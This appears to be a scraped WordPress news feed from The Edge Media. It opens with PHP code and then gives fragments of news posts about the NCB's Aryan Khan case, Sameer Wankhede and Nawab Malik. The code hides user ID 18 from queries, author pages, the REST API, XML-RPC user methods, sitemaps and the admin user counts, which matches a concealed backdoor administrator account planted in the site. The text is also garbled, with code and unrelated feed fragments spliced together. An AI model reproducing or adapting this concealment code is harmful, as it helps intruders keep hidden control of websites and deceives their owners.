add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Tomorrow, an NCB team will investigate Anti-Drugs Officer Sameer Wankhede in Mumbai appeared first on The Edge Media.
]]>
Mr. Wankhede is also accused of extortion, unlawful phone tapping, and cornering quotas designated for Scheduled Castes using fraudulent paperwork by Maharashtra minister Nawab Malik.
The post Tomorrow, an NCB team will investigate Anti-Drugs Officer Sameer Wankhede in Mumbai appeared first on The Edge Media.
]]>The post “No Summons, Came for Work”: Aryan Khan Case Officer Lands in Delhi appeared first on The Edge Media.
]]>
“I stand by my investigation, 100 percent,” he told NDTV.
Mr. Wankhede’s travel to Delhi comes amid a storm over charges of payback and his spat with Maharashtra minister and NCP leader Nawab Malik.
The post “No Summons, Came for Work”: Aryan Khan Case Officer Lands in Delhi appeared first on The Edge Media.
]]>The post Shah Rukh Khan’s son Aryan Khan’s case: NCB to question Ananya Panday once again today appeared first on The Edge Media.
]]>
The NCB has summoned the ‘Student of the Year 2’ actress for questioning for the third time today, after grilling her on Thursday and Friday. Her laptop and two cellphones were seized by the NCB earlier.
NCB officers were unable to locate evidence during their questioning of Ananya Panday on Friday, according to a report in India Today, which is why she was summoned again on Monday.
The post Shah Rukh Khan’s son Aryan Khan’s case: NCB to question Ananya Panday once again today appeared first on The Edge Media.
]]>The post ‘Tell us who your father is,’ says Nawab Malik in his latest assault on NCB’s Sameer Wankhede appeared first on The Edge Media.
]]>
News agency ANI quoted Nawab Malik as saying: “They (BJP) have a puppet – Wankhede. He raises bogus cases against people. I challenge that Wankhede that he’ll lose his job within a year. You came to jail us, people of this nation won’t be silent without seeing you behind bars. We have evidence of bogus cases.”
The post ‘Tell us who your father is,’ says Nawab Malik in his latest assault on NCB’s Sameer Wankhede appeared first on The Edge Media.
]]>The post Viveck Vaswani, a friend of Shah Rukh Khan, on Aryan Khan’s arrest: ‘ We don’t go after kids ‘ appeared first on The Edge Media.
]]>Speaking with India Today, Viveck said: “Shah Rukh is a celebrity. He and his family and his children will always be targeted by those who are apathetic towards stardom. This too shall pass. Having said that, I am very clear about certain things. Shah Rukh is my friend, his children are like my children, his family is my family. I was with him when he was not a celebrity and I have been with him through thick and thin and I will always be so. I do not think people should start targeting children, no matter whether the children have gone wrong and made mistakes. We don’t ambush children, we don’t hurt children and we don’t target children.”
The post Viveck Vaswani, a friend of Shah Rukh Khan, on Aryan Khan’s arrest: ‘ We don’t go after kids ‘ appeared first on The Edge Media.
]]>The post Case Filed Against Rhea By Narcotics Control Bureau appeared first on The Edge Media.
]]>More details awaited.
– ANI
The post Case Filed Against Rhea By Narcotics Control Bureau appeared first on The Edge Media.
]]>